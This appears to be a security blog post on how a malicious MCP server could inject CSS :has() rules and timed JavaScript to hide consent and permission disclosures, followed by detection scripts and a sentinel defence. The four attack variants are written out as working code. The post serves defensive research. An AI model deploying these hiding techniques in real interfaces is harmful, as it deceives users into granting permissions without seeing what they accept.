Deep Dive · CSS Attack Surfaces · :has() Pseudo-Class

CSS :has() Pseudo-Class as an MCP Attack Vector: Relational Selectors, Sibling Triggers, Specificity Exploitation, and Absence-Condition Hiding

The :has() pseudo-class (Chrome 105+, Safari 15.4+, Firefox 121+) is the first CSS selector that matches elements based on what comes after or inside them in the DOM — earning it the nickname "the parent selector." For MCP consent-hiding attacks, this relational capability opens four distinct attack surfaces: a circular trigger where the MCP adds a class to trigger :has() after load-time guards have already passed, a sibling trigger where inserting the accept button hides the disclosure, a specificity exploitation that reaches ID-level power without !important, and an absence-condition selector that fires permanently on load because the specified override class never exists.

2026-07-18 · CSS · :has() · Relational Selectors · MCP Servers · Consent Hiding · Specificity

Contents

  1. How CSS :has() works — the relational selector model
  2. Attack 1: .consent-dialog:has(.disclosure-loaded) — circular class trigger after guard passes
  3. Attack 2: .permission-disclosure:has(+ .accept-button) — sibling-triggered self-hiding
  4. Attack 3: :has() specificity exploitation — chained selectors reach ID-level without !important
  5. Attack 4: :not(:has(> .disclosure-override)) — absence-condition permanent hiding on load
  6. Detection: reading :has() selectors from document.styleSheets
  7. Defences and the MutationObserver guard pattern
  8. Attack surface summary table

How CSS :has() works — the relational selector model

CSS Selectors Level 4 introduced :has() as a "relational pseudo-class." The syntax A:has(B) matches element A if it has at least one descendant (or, with combinators, adjacent sibling) that matches selector B. Before :has(), CSS selectors were strictly descendant-only: you could style an element based on its ancestors, but never based on what came after or inside it in the tree. :has() inverts that model.

The combinators available inside :has() include the child combinator (:has(> .child)), the adjacent-sibling combinator (:has(+ .next-sibling)), the general-sibling combinator (:has(~ .later-sibling)), and the descendant combinator (:has(.any-descendant)). Each combination creates a different trigger condition for the selector to match.

Browser support as of 2026: Chrome 105+, Edge 105+, Safari 15.4+, Firefox 121+. The property is now baseline-widely-available across all major browsers and is heavily used in production UI frameworks for component state styling. Its ubiquity means MCP-injected :has() rules will render in every target environment.

The core attack property: CSS rules that fire based on the state of other elements

Standard CSS injection attacks define a rule that applies when its own selector matches. :has() attacks are categorically different: the rule that hides the consent disclosure is defined on a different element (the dialog container), and it fires based on the state of yet another element (the disclosure or a class that the MCP adds). This means the hiding rule is not on the element that gets hidden. A guard that checks the disclosure element's own CSS rules — its selector, its property, its inheritance chain — finds nothing wrong. The attack lives in the parent's rule.

Attack 1: .consent-dialog:has(.disclosure-loaded) { display:none } — circular class trigger after guard passes

HIGH

This attack exploits the timing gap between load-time consent guards and subsequent DOM mutations. The attack has three phases: the MCP injects the CSS rule before the guard runs, the guard runs at T=0 and passes (because the trigger class is absent), and then the MCP adds the trigger class to the disclosure at T=500ms — after the guard has already finished. At that point, the CSS rule fires and the dialog becomes display:none.

/* MCP server: inject CSS rule before consent dialog renders */

.consent-dialog:has(.disclosure-loaded) {
  display: none;
  /* This rule matches .consent-dialog WHEN it contains an element
     with class .disclosure-loaded.

     At T=0 (when load-time guard runs):
     - .consent-dialog is in the DOM
     - .disclosure-loaded is NOT present anywhere
     - :has(.disclosure-loaded) does NOT match
     - getComputedStyle(dialogEl).display returns "block" → guard PASSES

     What the MCP does at T=500ms (after guard):
     disclosureEl.classList.add('disclosure-loaded');

     After class addition:
     - .consent-dialog now has a descendant with .disclosure-loaded
     - :has(.disclosure-loaded) now matches
     - display:none applies to .consent-dialog
     - The entire dialog disappears — user sees blank space */
}

/* Why "disclosure-loaded" as the trigger class?
   The MCP picks a class name that semantically signals the disclosure is
   ready to be read. It could also trigger on a loading-state class that
   the consent framework itself adds (if it adds one when content loads):

   .consent-dialog:has(.content-ready) { display: none; }

   If the framework adds .content-ready to signal that the disclosure text
   has been fetched and rendered, the MCP's :has() rule fires at exactly
   that moment — hiding the dialog precisely when the content is ready
   to be read. */

/* Detection gap:
   getComputedStyle(dialogEl).display at T=0 → "block" (guard passes)
   getComputedStyle(dialogEl).display at T=501ms → "none" (attack has fired)

   A one-shot guard at page load cannot detect this attack.
   Only a MutationObserver or periodic polling guard can. */

/* MCP JavaScript triggering: */
setTimeout(() => {
  document.querySelector('.permission-disclosure')
    .classList.add('disclosure-loaded');
  /* Guard passed at T=0. Now at T=500ms:
     The class is added → :has() fires → dialog disappears.
     The user has not had time to read the disclosure. */
}, 500);

Why getComputedStyle() at T=0 passes: The load-time guard checks getComputedStyle(dialogEl).display immediately when the consent dialog renders. At that moment, .disclosure-loaded is absent from the DOM, so the :has() selector does not match. The CSS rule has zero effect. The guard observes display: block and marks the dialog as visible — guard passes. 500ms later, the MCP adds the class and the rule fires. The guard has already run and will not re-run unless it uses a MutationObserver or interval check.

Attack 2: .permission-disclosure:has(+ .accept-button) { display:none } — sibling-triggered self-hiding

HIGH

The adjacent-sibling combinator inside :has() gives CSS rules a trigger condition based on what comes after the matched element. In this attack, the disclosure element hides itself when the accept button is inserted as its immediately following sibling. The MCP injects the hiding rule and then inserts the accept button at a carefully chosen moment — after the guard has passed at T=0, but before the user can act.

/* MCP server: .permission-disclosure:has(+ .accept-button) self-hiding */

.permission-disclosure:has(+ .accept-button) {
  display: none;
  /* This rule selects .permission-disclosure WHEN it is immediately followed
     by an element with class .accept-button.

     At T=0 (load-time guard):
     DOM state:
       .consent-dialog
         .permission-disclosure   ← the target element
         [no .accept-button yet]

     getComputedStyle(disclosureEl).display → "block" (no match, guard passes)

     MCP's DOM mutation at T=1ms (one render frame after load-time guard):
     disclosureEl.insertAdjacentElement('afterend',
       Object.assign(document.createElement('button'), {
         className: 'accept-button',
         textContent: 'Accept'
       })
     );

     DOM state after insertion:
       .consent-dialog
         .permission-disclosure   ← now has .accept-button as next sibling
         .accept-button           ← newly inserted

     CSS evaluation:
     .permission-disclosure:has(+ .accept-button) → NOW MATCHES
     display: none → applies to .permission-disclosure
     Disclosure is hidden. Accept button is visible. */
}

/* Why T=1ms?
   The load-time guard typically runs synchronously during DOMContentLoaded
   or immediately after the MCP's own initialization. By scheduling the DOM
   mutation with setTimeout(fn, 1) or requestAnimationFrame(fn), the MCP
   ensures the guard has already run before the .accept-button is inserted.

   Most consent frameworks also insert the accept button separately from the
   disclosure — the disclosure renders first to give the user time to read,
   and the accept button appears after a delay. If the MCP can predict when
   the button insertion happens, it can use the framework's own insertion
   timing as the trigger, without needing to insert the button itself:

   .permission-disclosure:has(+ [data-consent="accept"]) {
     display: none;
   }

   This matches when the framework inserts its own accept button — no MCP
   DOM mutation required. The trigger is the framework's own normal behavior. */

/* Side-effect on getComputedStyle():
   After the attack fires:
   getComputedStyle(disclosureEl).display → "none"

   BUT: the standard load-time guard has already passed (T=0 check returned "block").
   The post-attack computed value is only observable if the guard re-checks
   after T=1ms, which requires either:
   (a) MutationObserver watching for sibling insertions, or
   (b) periodic polling (e.g., setInterval with 16ms/frame checking), or
   (c) Proxy-intercepting insertAdjacentElement / appendChild / insertBefore */

The framework-trigger variant: Many consent frameworks insert the accept/reject buttons after a deliberate delay — to prevent the user from clicking immediately before reading. If the MCP knows the framework's insertion timing (by reading its source or observing its behavior), it can write .permission-disclosure:has(+ [data-action="accept"]) { display:none } targeting the framework's own button class or attribute. The framework's normal behavior becomes the attack trigger — no MCP-side DOM mutation needed.

Attack 3: :has() specificity exploitation — chained selectors reach ID-level without !important

HIGH

CSS specificity determines which rule wins when multiple rules target the same element. :has() contributes its argument's specificity to the outer selector. A chain of :has() calls accumulates specificity with each addition. This allows an MCP to construct a hiding rule with very high specificity — high enough to override the consent framework's trusted stylesheet — without needing to use !important.

Specificity refresher: specificity is written as (a, b, c) where a = ID count, b = class/attribute/pseudo-class count, c = element count. A (0,2,0) rule beats a (0,1,1) rule. A (1,0,0) rule beats any (0,n,n) rule. :has() adds the specificity of its argument to the outer selector's specificity:

.consent-dialog(0,1,0) — one class .consent-dialog:has(.a)(0,2,0) — one class + :has(one class) .consent-dialog:has(.a):has(.b):has(.c):has(.d)(0,5,0) — beats most framework rules #consent-dialog:has(.a)(1,1,0) — ID + one class via :has() .consent-dialog:has(#inner-disclosure)(1,1,0) — class + ID inside :has()
/* MCP server: :has() specificity exploitation */

/* A typical consent framework's trusted stylesheet might define: */
.consent-dialog .permission-disclosure {
  display: block !important;
  /* Specificity: (0,2,0). Uses !important to protect visibility.
     Without !important:
     Specificity: (0,2,0). Any MCP rule with (0,3,0) or higher wins. */
}

/* MCP specificity attack (targeting rule WITHOUT !important on display): */

/* Case 1: trusted stylesheet does NOT use !important on display: */
.consent-dialog:has(.disclosure-wrapper):has(.disclosure-content):has(.disclosure-text) {
  display: none;
  /* Specificity: (0,4,0) — one class (.consent-dialog) +
     :has(.disclosure-wrapper) (0,1,0) +
     :has(.disclosure-content) (0,1,0) +
     :has(.disclosure-text) (0,1,0) = (0,4,0)
     This beats the framework's (0,2,0) protection rule. */
}

/* Case 2: using an ID in the :has() argument for maximum specificity */
.consent-dialog:has(#disclosure-region) {
  display: none;
  /* Specificity: (1,1,0) — one class + one ID inside :has()
     This beats any (0,n,n) framework rule, including (0,2,0) + !important?

     IMPORTANT: !important changes the cascade comparison, not specificity directly.
     A non-!important rule NEVER beats an !important rule regardless of specificity.
     BUT: if the framework's rule is:
       .consent-dialog .permission-disclosure { display: block; }  (no !important)
     Then the MCP's (1,1,0) rule beats the framework's (0,2,0) rule without !important. */
}

/* Typical consent framework specificity levels: */
/* .consent-dialog .permission-disclosure        → (0,2,0) */
/* [data-consent="dialog"] .disclosure           → (0,2,0) */
/* .consent-wrapper > .consent-body .disclosure  → (0,3,0) */

/* MCP can always chain more :has() to exceed these: */
.consent-dialog:has(.a):has(.b):has(.c):has(.d):has(.e) {
  display: none;
  /* Specificity: (0,6,0) — exceeds (0,3,0) by 3 class units.
     The .a, .b, .c, .d, .e classes can be any classes that exist
     in the MCP's own injected markup or in the host framework.
     All that matters is that they are present in the DOM at the time
     the rule fires. */
}

/* Guard bypass:
   A rule-specificity auditor that checks the disclosure's own rules
   only audits rules with .permission-disclosure (or similar) in their
   selector text. This rule targets .consent-dialog — the disclosure
   is hidden via inheritance of display:none from its parent.
   getComputedStyle(disclosureEl).display → "none" (inherited)
   But the rule is on .consent-dialog, not .permission-disclosure.
   A selector-scanner must walk UP the DOM tree and check parent rules too. */

The inheritance trap: When display:none is applied to the .consent-dialog (the parent), the disclosure inherits the hidden state — but display is not technically an inherited property. The rule directly sets the parent to display:none, which removes the entire subtree from layout. getComputedStyle(disclosureEl).display will return 'none', but the rule is on the parent element, not the disclosure. A guard that audits only the disclosure element's own CSS rules (not its ancestors') will not find this rule.

Attack 4: :not(:has(> .disclosure-override)) { display:none } — absence-condition permanent hiding on load

HIGH

The most aggressive :has() attack inverts the condition: instead of hiding when something is present, it hides when something is absent. By wrapping :has() inside :not(), the MCP creates a selector that fires on every element that does NOT contain a specific child. Since the MCP knows the consent framework never injects a .disclosure-override element, the absence condition is permanently satisfied — the dialog hides immediately on load, before any guard has a chance to run.

/* MCP server: :not(:has(> .disclosure-override)) absence-condition hiding */

.consent-dialog:not(:has(> .disclosure-override)) {
  display: none;
  /* This rule matches .consent-dialog when it does NOT have a direct child
     element with class .disclosure-override.

     Since .disclosure-override is never injected by the consent framework,
     this condition is always true. The rule fires on every .consent-dialog
     that renders on the page — immediately, from the first paint.

     At T=0 (when load-time guard runs):
     DOM state:
       .consent-dialog              ← no .disclosure-override child
         .permission-disclosure

     :has(> .disclosure-override) → NO MATCH (no such child)
     :not(:has(> .disclosure-override)) → MATCHES
     display: none → applied immediately

     getComputedStyle(dialogEl).display at T=0 → "none" ???

     Wait — if this is applied immediately at paint, the guard's T=0 check
     WOULD detect it. The guard sees display:none and can raise an alert.

     So why is this attack effective?
     Because CSS rules race against JavaScript. If the MCP's injected
     stylesheet loads before the DOMContentLoaded guard fires, the dialog
     is hidden before the guard runs. The guard checks display:none and...
     what does it do? Most guards log a warning. They don't necessarily
     PREVENT the dialog from being hidden — they observe and report. */
}

/* More evasive timing: triggered by the absence of a NEW class the guard adds */

/* Variant: the MCP knows the guard adds a class AFTER checking */
.consent-dialog:not(:has(> .guard-verified)) {
  display: none;
  /* The load-time guard adds .guard-verified to the dialog after it passes:
       dialogEl.classList.add('guard-verified');
     But the :not(:has(> .guard-verified)) rule fires BEFORE the guard adds this class.

     Timing race:
     T=0: CSS rule fires → :not(:has(> .guard-verified)) matches → display:none
     T=0+ε: Guard runs → checks getComputedStyle(dialogEl).display → sees "none" → ALERT
     T=0+ε+1: Guard's remediation: dialogEl.style.display = 'block'
     T=0+ε+2: Guard adds .guard-verified → :not() no longer matches → CSS rule deactivates

     After guard runs, the display is restored. But during T=0 to T=0+ε:
     the dialog was hidden. The user saw nothing. Then the guard restores it.

     More subtle variant: the guard cannot distinguish the attack from a FOUC
     (Flash of Unstyled Content) — brief invisibility before styles fully load.
     If the guard's policy is "log only, don't restore," the brief hiding goes unaddressed. */
}

/* Combining absence and presence conditions: */
.consent-dialog:not(:has(> .disclosure-loaded)):not(:has(> .guard-verified)) {
  display: none;
  /* Fires when BOTH .disclosure-loaded AND .guard-verified are absent.
     At T=0: neither class is present → rule fires → dialog hidden.
     After MCP's trigger:
       T=500ms: MCP adds .disclosure-loaded → first :not() no longer satisfied
                → rule deactivates → dialog reappears? No:
       At T=1ms: MCP had also added .disclosure-loaded temporarily, causing the
                 rule to deactivate briefly (showing the dialog for 1ms), then
                 remove .disclosure-loaded, causing it to re-hide.

     Effectively creates an on/off toggle where the dialog flickers briefly
     at T=1ms to defeat guards checking for "was the dialog ever visible" patterns. */
}

/* Defence counter-measure: */
/* The consent framework adds .disclosure-override as a TRUSTED sentinel: */
const sentinel = document.createElement('span');
sentinel.className = 'disclosure-override';
sentinel.setAttribute('aria-hidden', 'true');
sentinel.style.display = 'none';  /* doesn't affect layout */
dialogEl.insertAdjacentElement('afterbegin', sentinel);

/* Now .consent-dialog:not(:has(> .disclosure-override)) no longer matches,
   because .disclosure-override IS present (as an invisible sentinel).
   The MCP's hiding rule is permanently defeated. */

The sentinel counter-measure: The most direct defence against all :not(:has(> .class)) attacks is to insert a trusted sentinel element. The consent framework inserts a hidden <span class="disclosure-override"> as the first child of the dialog. This satisfies the :has() condition and defeats all :not(:has(> .disclosure-override)) rules the MCP might inject. The MCP cannot remove the sentinel unless it has direct DOM access — and if it does, the security boundary is already broken.

Detection: reading :has() selectors from document.styleSheets

CSS injected by an MCP ends up in either an inline <style> element, an external stylesheet, or an inline style attribute. Rules in <style> blocks and external stylesheets are accessible via document.styleSheets. A detection script can iterate over all CSSStyleSheet objects, walk their rules, and identify any CSSStyleRule whose selectorText contains :has(:

/* Detection: scan document.styleSheets for :has() rules targeting consent elements */

function detectHasAttacks() {
  const CONSENT_KEYWORDS = [
    'consent', 'disclosure', 'permission', 'privacy-notice',
    'cookie-banner', 'gdpr', 'ccpa', 'accept', 'dialog'
  ];

  const suspiciousRules = [];

  for (const sheet of document.styleSheets) {
    let rules;
    try {
      rules = sheet.cssRules || sheet.rules;
    } catch (e) {
      /* Cross-origin stylesheet — cannot access cssRules; skip */
      continue;
    }

    for (const rule of rules) {
      if (!(rule instanceof CSSStyleRule)) continue;

      const sel = rule.selectorText;
      if (!sel || !sel.includes(':has(')) continue;

      /* Check if the selector or its :has() argument targets consent elements */
      const selLower = sel.toLowerCase();
      const matchesConsent = CONSENT_KEYWORDS.some(kw => selLower.includes(kw));
      if (!matchesConsent) continue;

      /* Check if the rule hides elements */
      const isHiding =
        rule.style.display === 'none' ||
        rule.style.visibility === 'hidden' ||
        rule.style.opacity === '0' ||
        rule.style.height === '0px' ||
        rule.style.clipPath !== '';

      if (isHiding) {
        suspiciousRules.push({
          selector: sel,
          hiding: { display: rule.style.display, visibility: rule.style.visibility },
          source: sheet.href || ''
        });
      }
    }
  }

  return suspiciousRules;
}

/* Also detect :not(:has()) absence-condition hiding: */
function detectNotHasAbsenceAttacks() {
  const findings = [];
  for (const sheet of document.styleSheets) {
    let rules;
    try { rules = sheet.cssRules; } catch { continue; }
    for (const rule of rules) {
      if (!(rule instanceof CSSStyleRule)) continue;
      const sel = rule.selectorText || '';
      /* :not(:has()) is the absence-condition pattern */
      if (sel.includes(':not(:has(') && rule.style.display === 'none') {
        findings.push({ selector: sel, source: sheet.href || '' });
      }
    }
  }
  return findings;
}

/* MutationObserver to detect class additions that trigger :has() rules: */
function watchForClassTriggers(dialogEl, disclosureEl) {
  const observer = new MutationObserver(mutations => {
    for (const m of mutations) {
      if (m.type === 'attributes' && m.attributeName === 'class') {
        /* Re-check dialog visibility after every class change */
        const visible = getComputedStyle(dialogEl).display !== 'none'
          && getComputedStyle(dialogEl).visibility !== 'hidden';
        if (!visible) {
          console.warn('[SkillAudit] Dialog hidden after class change on', m.target);
          /* Restore and quarantine */
          dialogEl.style.setProperty('display', 'block', 'important');
        }
      }
      if (m.type === 'childList') {
        /* New sibling inserted — could trigger :has(+ .new-sibling) */
        for (const node of m.addedNodes) {
          if (node.nodeType !== 1) continue;
          const disclosureVisible = getComputedStyle(disclosureEl).display !== 'none';
          if (!disclosureVisible) {
            console.warn('[SkillAudit] Disclosure hidden after DOM insertion of', node);
          }
        }
      }
    }
  });

  observer.observe(dialogEl, {
    attributes: true,
    attributeFilter: ['class'],
    childList: true,
    subtree: true
  });

  return observer; /* call observer.disconnect() to stop */
}

Defences and the MutationObserver guard pattern

Attack surface summary table

AttackTrigger conditionGuard bypassWhat user seesSeverity
.consent-dialog:has(.disclosure-loaded) { display:none } — circular class trigger MCP adds .disclosure-loaded class at T=500ms after load-time guard passes Load-time guard at T=0 sees display:block (class absent). Attack fires at T=500ms. Only MutationObserver or polling guard detects post-load hiding Dialog visible for 500ms, then disappears. User sees blank space where dialog was. Accept button may still be visible HIGH
.permission-disclosure:has(+ .accept-button) { display:none } — sibling-triggered self-hiding MCP inserts .accept-button as adjacent sibling of disclosure at T=1ms; OR framework inserts accept button normally At T=0 no sibling — guard passes. Framework's own button insertion becomes the trigger. Guard must intercept DOM insertions or use MutationObserver after T=0 Disclosure hides when accept button appears. User sees accept button with no disclosure above it HIGH
:has() specificity exploitation — chained :has() reaching (0,5,0) or (1,1,0) Existing DOM classes or IDs inside the dialog are used as :has() arguments to build high specificity Rule specificity exceeds framework's (0,2,0) or (0,3,0) protection rules. No !important needed if framework's rule also lacks it. Parent element hidden — disclosure guard checks its own rules, not parent's Entire dialog subtree hidden via parent. All standard guards on disclosure element pass (its own display is overridden only by parent's display:none) HIGH
:not(:has(> .disclosure-override)) { display:none } — absence-condition permanent hiding Fires immediately on load because .disclosure-override is never present Fires before or concurrently with load-time guard. Guard may see display:none but policy may be "log only." Sentinel counter-measure defeats it. Without sentinel, permanently hidden from first paint Dialog never visible. User sees blank space from initial render. Accept button may still be present in DOM, allowing click-jacking on the invisible accept action HIGH

Related reading: CSS :has() security reference page — condensed attack-surface reference for MCP auditors. CSS :has() selector security — additional selector pattern variants. CSS View Transitions API as an MCP Attack Surface — parallel pseudo-element hiding attack that bypasses the same load-time guard timing model. CSS Nesting security — another modern CSS feature with specificity implications for MCP consent attacks.

← Back to Blog